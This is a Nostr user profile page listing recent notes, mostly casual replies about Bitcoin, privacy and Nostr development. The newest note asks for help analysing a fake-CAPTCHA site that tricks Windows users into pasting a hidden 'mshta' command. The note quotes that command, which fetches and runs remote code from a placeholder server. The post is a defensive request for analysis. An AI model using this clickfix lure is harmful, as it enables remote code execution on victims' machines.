cypherhoodlum🏴‍☠️

HORNET.Storage

Building Nestr - The Nostr client for devs.

KYC is the illicit activity.

Public Key

npub1h00dlum44jnxdjeqms0d9s0l0n0lslv84mcw5420qpu277d8y4mqpv0cnf

NIP-05 Address

cypherhoodlum@cypherhoodlum.github.io

NIP-57 Address

cypherhoodlum@getalby.com

Profile Code

nprofile1qqsthhkl7d66efnxevsdc8kjc8lhehlc0kr6au82248sq7900xnj2asppamhxue69uhkummnw3ezumt0d5q3gamnwvaz7tmjv4kxz7fwv3sk6atn9e5k7gcanxk

Publishing to

nostr.mom

relay.damus.io

nostr.bitcoiner.social

Author Public Key

npub1h00dlum44jnxdjeqms0d9s0l0n0lslv84mcw5420qpu277d8y4mqpv0cnf

Show more details

Last Notes

2025-03-29 23:48:57

Can anybody on Nostr do malware analysis in the wild?
This website shows a fake CAPTCHA only for Windows users. The CAPTCHA tricks the user into hitting Win + R and Ctrl + V to paste a seemingly innocent looking verification ID into the run console which the website already copied to the user's clipboard upon visiting the site. It's easily missed that part of the pasted string is not visible and actually runs "mshta <malicious_server>.icu/gkcxv.google?i=<uuid>" that executes arbitrary code on the victim's machine.
The source code of the website has a heavily obfuscated script which seems to fetch and construct a payload that is eventually executed using eval() without any user input upon visiting the site. The site also seems to store some data to Ethereum smart contracts every few seconds for some reason.
I'm trying to figure out what the stage 2 mshta payload actually does and does the site actually run something with the mshta utility that can escape the browser sandbox. The payload is fetched from some very short-lived command & control servers so it's hard to scrape the payload code directly. Does someone have the expertise to investigate this?
The *malicious* website:
https://gameskeys(.)net/we-were-here-forever-controls-guide
#asknostr @nprofile…l3q3

2025-02-28 21:40:18

- reply

You could try Librewolf

2025-02-21 11:42:29

It's all rather chaotic, isn't it?

2025-02-15 22:54:56

- reply

Make every transaction a coinjoin

2025-02-15 22:52:42

- reply

This note has trailer park Nostr Lyn kind of energy that I dig

2025-02-14 20:20:34

- reply

Interesting, does anyone know why this happens? Is it a bug or are they just clearing storage and recycling URIs? Doesn't make any sense.

2025-02-14 20:04:10

- reply

Oh wow it took me a moment to realise this is (probably) an actual post from the ECB and not a meme. I have no way to verify this tho since they are not posting on Nostr.

2025-02-14 19:46:26

- reply

You can become a hardware only maximalist

2025-02-14 19:44:36

- reply

The era of memecoins and meme administrations

2025-02-11 09:11:23

@nprofile…3xm6 is pater nostr
@nprofile…3xm6 is not pater nostr

2025-02-10 21:45:08

- reply

Never thought of it that way. I've been in the "limited conciousness enables meaning in life" camp but that is a very good point.
Maybe the pursuit of longevity is the goal in itself even if voluntary immortality can never be achieved.

2024-11-11 19:21:28

- reply

Where is the correction for real

2024-10-17 09:14:43

- reply

Based take. How are you going to handle the 42%?

2024-10-16 11:10:55

"Bitcoin is its own asset class" > "There is no second best"

2024-10-02 13:21:41

- reply

So how do you opt-out? There's "a guide to remove yourself from being searchable in the description" somewhere. I'm curious what they're saying in there.

2024-10-01 12:45:46

- reply

The bull is a fickle friend. Especially the bull that was promised.

2024-10-01 10:28:47

'Tis time to feed the Octobull!
https://image.nostr.build/c6ba142734ce5e707551d38c410e535b7efa14bb62bc7dfa7ff26b98d877e797.jpg

2024-10-01 09:44:41

- reply

"Conciousness is not a good survival trait" - Love, Death & Robots

2024-10-01 09:27:35

- reply

I think this makes a lot of sense. I also think there needs to be a global technical standard for inheriting bitcoin. A lot of bitcoin will be lost before there is such a standard.

2024-09-29 09:03:49

- reply

If you pick the right horse, you will ride that horse to the moon?

2024-09-27 21:58:03

- reply

Are you saying we shouldn't update? 👀 it feels like we kinda maybe shouldn't update

2024-09-26 22:26:55

- reply

Oi mate you need a loicence to warn devs about needing a loicence. Straight to jail.

2024-09-26 22:19:52

I refuse to watch a single ad on any platform ever. Fuck ads.

2024-09-26 00:29:39

- reply

90% memes?

2024-09-25 22:55:32

- reply

update: Half an hour in some of the tradeoffs and limitations are being discussed. It's being clearly stated that cashu can't be expected to improve bitcoin from the way it's supposed to be used (permissionless unruggability)

2024-09-25 22:22:48

- reply

Is this a good listen for a cashu disrespector?

2024-09-25 21:19:08

- reply

Npug has no clue what's going on

2024-09-25 00:05:55

- reply

We're not naming any names but what's the worst one?

2024-09-24 23:42:24

- reply

That's a cool project. The site would benefit from clearer categorization though. I'm seeing news and privacy 101 guides all stacked together. The privacy resources that offer a clear path from noob to Snowden work best since privacy is a long road and the habits must be built-up piece by piece.

2024-09-24 13:10:13

- reply

It just means the user didn't complete the authorization with Alby. Nothing to see here.

2024-09-24 13:06:59

- reply

That's actually a log from the Alby extension

2024-09-23 23:14:32

- reply

The part where Eric Hughes wrote words about writing code 🖋️

2024-09-23 22:58:59

- reply

When the bull began his run

2024-09-23 22:49:41

Ark service providers will probably be deemed as unlicenced money transmitter services by the US government.

2024-09-23 21:59:23

- reply

Seems about right

2024-09-23 21:25:34

- reply

Happy mining 🍻 don't forget to purple pill your boss

2024-09-23 21:06:01

- reply

It seems like you're not working on Nostr full-time. Explain yourself.

2024-09-23 08:51:57

- reply

Nostr reply spam and DDoS are very different. I think of the former as a gray hat disclosing a security vulnerability in the open, forcing devs to patch. The latter helps no one since it only eats resources. DDoS can't be outsmarted, reply spam can and should be.